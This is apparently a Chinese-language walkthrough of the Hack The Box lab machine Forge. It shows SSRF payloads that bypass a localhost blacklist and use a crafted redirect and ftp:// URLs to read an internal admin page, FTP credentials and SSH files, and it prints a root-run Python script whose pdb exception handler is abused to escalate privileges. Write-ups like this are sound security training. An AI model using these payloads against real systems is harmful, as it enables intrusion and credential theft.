HTB-Forge
- 信息收集
- 80端口
- 立足
- user -> root
信息收集
80端口
试试上传图片看看有什么限制。
jpg上传成功,并且会给一个随机的文件名存储图片,过了一阵子图片就会被清除。
上传phpinfo后访问界面出现报错。
看来没有执行上传的PHP代码,对目录进行枚举。
子网枚举。
貌似没办法绕过对localhost的检测。
看到这种情况就会联想到SSRF。先分析一下现在的情况:
- 一个图片上传网站,不支持php代码,暂不知道语言。
- 一个本地才能访问的子域admin.forge.htb,无法伪造访问IP。
- 一个无法访问的ftp服务。
所以要解决的问题:
- 确认文件上传网站的语言。
- 寻找SSRF的入口。
先看能不能判断是什么语言编写的。
可能是python,只是猜测。再看看问题2,入口在哪里。然后我发现这个居然是可以点击的。
upload from local
upload from url
那第一件事就是去访问一下21端口。
只允许http和https?那我去看看http://admin.forge.htb总可以吧。
想用http访问21端口,结果也在黑名单里。
当我使用http://127.1:21会出现python的报错,证明这个服务是python编写。
当python收到空的header/body就会出现此错误。不过没关系我们找到了替代127.0.0.1的白名单。接下来就是对协议的限制。但是感觉没有办法绕过,只能看通过其他手段读取FTP服务。
OK,整理一下:
- 前提:存在SSRF
- 目标:读取21端口和admin.forge.htb
- 已有条件:127.1:21绕过127.0.0.1黑名单、目标能够访问本地并且保持kee-alive状态,我们可以输入
- 缺失部分:怎么让其使用ftp
到这我倒是想到了一个方法,但是有一个前提,存在一个脚本会检查我们的输入是否是http/https,通过后在发给python的模板渲染,如果慢慢读取找到网站的url完整路径,还有参数,那么是否可以让绕过协议检测,比如http://forge.htb/upload?param=ftp://127.1:21
。
curl uploads会出现重定向
尝试修改重定向位置利用重定向到到主界面去。新建一个文件内容如下:
HTTP/1.1 301 MOVED PERMANENTLY
Server: Apache/2.4.41 (Ubuntu)
Location: http://forge.htb/
Content-Type: text/html; charset=utf-8
将redirect的输出作为nc的输入。连接上后ctrl+c中断就能看到上传成功。
curl生成的网站就可以看到forge.htb主页代码了。
不过试了半天还是找不到办法绕过协议,还有一个admin的子域名没看。去看看。
在这个管理员界面还有一个超链接指向/announcements,重定向到/announcements去看看内容。
- An internal ftp server has been setup with credentials as user:heightofsecurity123!
- The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.
我们知道ftp凭证user:heightofsecurity123!、知道upload页面支持的协议、知道参数是?u=
,这下就好办了。
http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1:21
ftp服务器的位置貌似就在某个用户的家目录,也可能是诱饵。先试试吧。
Location: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1:21/.ssh/
运气不错
立足
前面我们知道有一个凭证:user:heightofsecurity123!
,用户是user。
user -> root
文件内容如下:
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535) #生成大于等于1025小于65535的数作为port值
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建套接字,使用IPv4和TCP
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #level是SOL_SOCKET,为了在套接字级别上设置选项
#SO_REUSEADDR会启动监听服务器并绑定与之相关的端口
sock.bind(('127.0.0.1', port)) #绑定本地IP与生成的port到socket上
sock.listen(1) #等待的个数
print(f'Listening on localhost:{port}') #打印一些信息
(clientsock, addr) = sock.accept() #建立客户机的连接,返回值是一个新的socket和IP,port
clientsock.send(b'Enter the secret passsword: ') #发送数据
if clientsock.recv(1024).strip().decode() != 'secretadminpassword': #接收数据并移除空格后对其解码后的值是不是secretadminpassword
clientsock.send(b'Wrong password!\n') #不是就发送Wrong password!
else:
clientsock.send(b'Welcome admin!\n') #是就发送Welcome admin!
while True: #开始无线循环
clientsock.send(b'\nWhat do you wanna do: \n') #发送admin要做的列表
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode()) #以下皆为根据选择做出对应的事情
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e: #一个处理错误的办法,虽然pdb可以更好处理错误,但是会执行我们输入的命令
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
这是一个socket的服务端应用,需要我们写一个客户端进行socket通信。简易的socket客户端代码如下:
import socket
host = '127.0.0.1'
port = int(input("port: ")) #Server info
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port)) #Connect Server
while True:
print(s.recv(1024).decode('utf-8')) #Print Server data
data = input("postdata: ") #Input data
s.send(bytes(data,'utf-8')) #Send data to Server
s.close()
也可以通过nc来实现,就不用写一个简单的socket客户端了。
代码里面对异常的处理是用pdb,我在客户端ctrl+c强制中断进程引发了处理错误的方法pdb,在pdb中输入的命令会被执行。
接下来就很明确了。